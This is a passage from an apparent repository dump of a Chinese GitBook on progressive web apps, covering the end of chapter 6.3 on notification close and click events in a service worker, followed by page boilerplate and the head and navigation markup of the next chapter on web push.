&#x4E8B;&#x4EF6;&#x4F1A;&#x88AB;&#x8C03;&#x7528;&#xFF0C;&#x8BE5;&#x4E8B;&#x4EF6;&#x901A;&#x5E38;&#x7528;&#x6765;&#x5206;&#x6790;&#x7528;&#x6237;&#x4E0E;&#x901A;&#x77E5;&#x7684;&#x4EA4;&#x4E92;&#x60C5;&#x51B5;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\">self<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;notificationclose&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">event</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">const</span> dismissedNotification <span class=\"token operator\">=</span> event<span class=\"token punctuation\">.</span>notification\n\n  <span class=\"token keyword\">const</span> promiseChain <span class=\"token operator\">=</span> <span class=\"token function\">notificationCloseAnalytics</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  event<span class=\"token punctuation\">.</span><span class=\"token function\">waitUntil</span><span class=\"token punctuation\">(</span>promiseChain\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5982;&#x4E0A;&#x9762;&#x793A;&#x4F8B;&#x6240;&#x793A;&#xFF0C;&#x56DE;&#x8C03;&#x5BF9;&#x8C61; event &#x63D0;&#x4F9B;&#x5E38;&#x7528;&#x7684;&#x5C5E;&#x6027;&#x548C;&#x65B9;&#x6CD5;&#x7528;&#x4E8E;&#x63A7;&#x5236;&#x540E;&#x7EED;&#x903B;&#x8F91;&#x3002;</p>\n<ul>\n<li><p><code>event.notification</code> &#x83B7;&#x53D6; notification &#x5B9E;&#x4F8B;&#xFF0C;&#x8BBF;&#x95EE; notification &#x5B9E;&#x4F8B;&#x7684;&#x5C5E;&#x6027;&#x548C;&#x65B9;&#x6CD5;&#x3002;</p>\n</li>\n<li><p><code>event.waitUntil</code> &#x65B9;&#x6CD5;&#x5141;&#x8BB8;&#x4F20;&#x5165; Promise &#x5BF9;&#x8C61;&#xFF0C;&#x5F85; Promise &#x5F02;&#x6B65;&#x64CD;&#x4F5C;&#x5B8C;&#x6210;&#x540E;&#x518D;&#x7ED3;&#x675F;&#x4E8B;&#x4EF6;&#x3002;</p>\n</li>\n<li>&#x5982;&#x679C;&#x901A;&#x77E5;&#x5B9A;&#x4E49;&#x5C55;&#x793A;&#x4E86; actions  &#x6309;&#x94AE;&#xFF0C;&#x901A;&#x8FC7; <code>event.action</code> &#x53EF;&#x8BBF;&#x95EE;&#x5BF9;&#x5E94;&#x7684; action&#x3002;</li>\n</ul>\n<h3 id=\"&#x901A;&#x77E5;&#x70B9;&#x51FB;&#x4E8B;&#x4EF6;\"><a name=\"&#x901A;&#x77E5;&#x70B9;&#x51FB;&#x4E8B;&#x4EF6;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x901A;&#x77E5;&#x70B9;&#x51FB;&#x4E8B;&#x4EF6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x901A;&#x77E5;&#x70B9;&#x51FB;&#x4E8B;&#x4EF6;\" class=\"plugin-anchor\" href=\"#&#x901A;&#x77E5;&#x70B9;&#x51FB;&#x4E8B;&#x4EF6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x901A;&#x77E5;&#x70B9;&#x51FB;&#x4E8B;&#x4EF6;</h3>\n<p>&#x5F53;&#x7528;&#x6237;&#x70B9;&#x51FB;&#x901A;&#x77E5;&#x65F6;&#xFF0C;&#x9ED8;&#x8BA4;&#x4E0D;&#x4F1A;&#x5173;&#x95ED;&#x6216;&#x8005;&#x5220;&#x9664;&#x901A;&#x77E5;&#xFF0C;&#x4E5F;&#x4E0D;&#x4F1A;&#x53D1;&#x751F;&#x4EFB;&#x4F55;&#x4E8B;&#x60C5;&#x3002;&#x800C;&#x6B64;&#x65F6;&#x7528;&#x6237;&#x901A;&#x5E38;&#x5E0C;&#x671B;&#x76F4;&#x63A5;&#x8DF3;&#x8F6C;&#x5230;&#x53EF;&#x4EE5;&#x83B7;&#x53D6;&#x66F4;&#x591A;&#x6709;&#x5173;&#x4FE1;&#x606F;&#x7684;&#x4F4D;&#x7F6E;&#xFF0C;&#x6211;&#x4EEC;&#x901A;&#x8FC7;&#x5728; Service Worker &#x4E0B;&#x76D1;&#x542C;&#x70B9;&#x51FB;&#x4E8B;&#x4EF6; <code>notificationclick</code> &#x6765;&#x5904;&#x7406;&#x76F8;&#x5173;&#x903B;&#x8F91;&#x3002;</p>\n<p>&#x793A;&#x4F8B;&#x4E2D;&#xFF0C;&#x5728; Service Worker &#x4F5C;&#x7528;&#x57DF;&#x4E0B;&#x662F;&#x65E0;&#x6CD5;&#x8BBF;&#x95EE; <code>window</code> &#x5BF9;&#x8C61;&#x7684;&#xFF0C;&#x4F46;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>clients.openWindow()</code> &#x65B9;&#x6CD5;&#x6765;&#x5B9E;&#x73B0;&#x5728; Service Worker &#x4F5C;&#x7528;&#x57DF;&#x4E0B;&#x6253;&#x5F00;&#x7F51;&#x9875;&#x3002;</p>\n<p>&#x67E5;&#x770B;&#x793A;&#x4F8B;&#x4E2D; Service Worker &#x6587;&#x4EF6;  <code>public/sw.js</code> &#xFF0C;&#x5176;&#x4E2D;&#x76D1;&#x542C; <code>notificationclick</code> &#x4E8B;&#x4EF6;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token comment\">// &#x9996;&#x5148;&#x76D1;&#x542C; notificationclick &#x4E8B;&#x4EF6;&#xFF1A;</span>\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;notificationclick&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">e</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5173;&#x95ED;&#x901A;&#x77E5;</span>\n  e<span class=\"token punctuation\">.</span>notification<span class=\"token punctuation\">.</span><span class=\"token function\">close</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x6253;&#x5F00;&#x7F51;&#x9875;</span>\n  e<span class=\"token punctuation\">.</span><span class=\"token function\">waitUntil</span><span class=\"token punctuation\">(</span>clients<span class=\"token punctuation\">.</span><span class=\"token function\">openWindow</span><span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">.</span>notification<span class=\"token punctuation\">.</span>data<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5728; <code>public/script/notification.js</code> &#x6587;&#x4EF6;&#x4E2D;&#x89E6;&#x53D1;&#x901A;&#x77E5;&#x5C55;&#x793A;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x63A5;&#x7740;&#x89E6;&#x53D1;&#x663E;&#x793A;&#x901A;&#x77E5;</span>\nregistration<span class=\"token punctuation\">.</span><span class=\"token function\">showNotification</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x4F60;&#x597D;&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>\n    body<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;&#x6211;&#x53EB;&#x674E;&#x96F7;&#xFF0C;&#x4EA4;&#x4E2A;&#x670B;&#x53CB;&#x5427;&apos;</span><span class=\"token punctuation\">,</span>\n  icon<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;https://gss0.baidu.com/9rkZbzqaKgQUohGko9WTAnF6hhy/assets/pwa/demo/pwa-icon.png&apos;</span><span class=\"token punctuation\">,</span>\n  data<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n    time<span class=\"token punctuation\">:</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Date</span><span class=\"token punctuation\">(</span>Date<span class=\"token punctuation\">.</span><span class=\"token function\">now</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">toString</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n    url<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;https://www.baidu.com&apos;</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x70B9;&#x51FB;&#x793A;&#x4F8B;&#x9875;&#x9762;&#x4E2D; &quot;&#x4E8B;&#x4EF6;&#xFF1A;notificationclick &quot; &#x9009;&#x9879;&#x7684;&#x6309;&#x94AE;&#xFF0C;&#x5BF9;&#x5E94;&#x7684;&#x5F39;&#x7A97;&#x6548;&#x679C;&#x4EE5;&#x53CA;&#x70B9;&#x51FB;&#x9875;&#x9762;&#x8DF3;&#x8F6C;&#x60C5;&#x51B5;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x5373;&#x4F7F;&#x5728; Service Worker &#x4F5C;&#x7528;&#x57DF;&#x4E0B;&#xFF0C;&#x4F9D;&#x7136;&#x53EF;&#x4EE5;&#x6B63;&#x5E38;&#x5C55;&#x793A;&#x901A;&#x77E5;&#xFF0C;&#x5E76;&#x4E14;&#x80FD;&#x591F;&#x5F15;&#x5BFC;&#x6253;&#x5F00;&#x7F51;&#x9875;&#xFF1A;</p>\n<p><img src=\"img/notification-pwa.jpg\" alt=\"&#x70B9;&#x51FB;&#x901A;&#x77E5;&#x6253;&#x5F00;&#x9875;&#x9762;\"></p>\n<p>&#x8FD9;&#x6837;&#x6574;&#x4E2A;&#x5F39;&#x51FA;&#x901A;&#x77E5;&#x548C;&#x6253;&#x5F00;&#x7F51;&#x9875;&#x7684;&#x8FC7;&#x7A0B;&#x90FD;&#x5B8C;&#x5168;&#x8131;&#x79BB;&#x4E86;&#x7F51;&#x9875;&#x751F;&#x547D;&#x5468;&#x671F;&#x7684;&#x5236;&#x7EA6;&#xFF0C;&#x6211;&#x4EEC;&#x5DF2;&#x7ECF;&#x80FD;&#x505A;&#x5230;&#x5728;&#x672A;&#x6253;&#x5F00;&#x5BF9;&#x5E94;&#x7F51;&#x9875;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#x5F39;&#x51FA;&#x79BB;&#x7EBF;&#x901A;&#x77E5;&#xFF0C;&#x518D;&#x901A;&#x8FC7;&#x70B9;&#x51FB;&#x901A;&#x77E5;&#x5F15;&#x5BFC;&#x7528;&#x6237;&#x6253;&#x5F00;&#x7F51;&#x9875;&#x4E86;&#x3002;&#x5F53;&#x7136;&#xFF0C;&#x4EC5;&#x9760; Notification API &#x548C; clients &#x5E76;&#x4E0D;&#x80FD;&#x505A;&#x5230;&#x5B8C;&#x5168;&#x7684;&#x79BB;&#x7EBF;&#x901A;&#x77E5;&#xFF0C;&#x8FD9;&#x662F;&#x56E0;&#x4E3A;&#x5728;&#x76EE;&#x524D;&#x7684;&#x6761;&#x4EF6;&#x4E0B;&#xFF0C;&#x4E00;&#x65E6;&#x9875;&#x9762;&#x9500;&#x6BC1;&#xFF0C;Service Worker &#x4E5F;&#x5C06;&#x5F88;&#x5FEB;&#x8FDB;&#x5165;&#x4F11;&#x7720;&#x72B6;&#x6001;&#x3002;&#x56E0;&#x6B64;&#x9700;&#x8981;&#x7ED9; Service Worker &#x6CE8;&#x518C;&#x53EF;&#x5728;&#x79BB;&#x7EBF;&#x60C5;&#x51B5;&#x4E0B;&#x5524;&#x9192;&#x7684;&#x4E8B;&#x4EF6;&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x80FD;&#x591F;&#x5B8C;&#x6574;&#x5730;&#x5B9E;&#x73B0;&#x79BB;&#x7EBF;&#x901A;&#x77E5;&#x4E86;&#x3002;</p>\n<p>&#x8FD9;&#x4E2A;&#x4E8B;&#x4EF6;&#x5C31;&#x662F;&#x63A5;&#x4E0B;&#x6765;&#x7684;&#x5C0F;&#x8282;&#x5C06;&#x8981;&#x4ECB;&#x7ECD;&#x7684;&#x5982;&#x4F55;&#x5B9E;&#x73B0;&#x5728;&#x79BB;&#x7EBF;&#x72B6;&#x6001;&#x4E0B;&#x7684;\b&#x63A8;&#x9001;&#x901A;&#x77E5;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"2-credentials-api.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 6.2 凭证管理 API\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"4-web-push-api.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 6.4 网络推送\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"6.3 桌面通知\",\"level\":\"1.7.3\",\"depth\":2,\"next\":{\"title\":\"6.4 网络推送\",\"level\":\"1.7.4\",\"depth\":2,\"path\":\"chapter06/4-web-push-api.md\",\"ref\":\"chapter06/4-web-push-api.md\",\"articles\":[]},\"previous\":{\"title\":\"6.2 凭证管理 API\",\"level\":\"1.7.2\",\"depth\":2,\"path\":\"chapter06/2-credentials-api.md\",\"ref\":\"chapter06/2-credentials-api.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter06/3-notification-api.md\",\"mtime\":\"2019-06-19T10:37:42.262Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter06/4-web-push-api.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>6.4 网络推送 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"5-payment-request-api.html\" />\n    \n    \n    <link rel=\"prev\" href=\"3-notification-api.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n 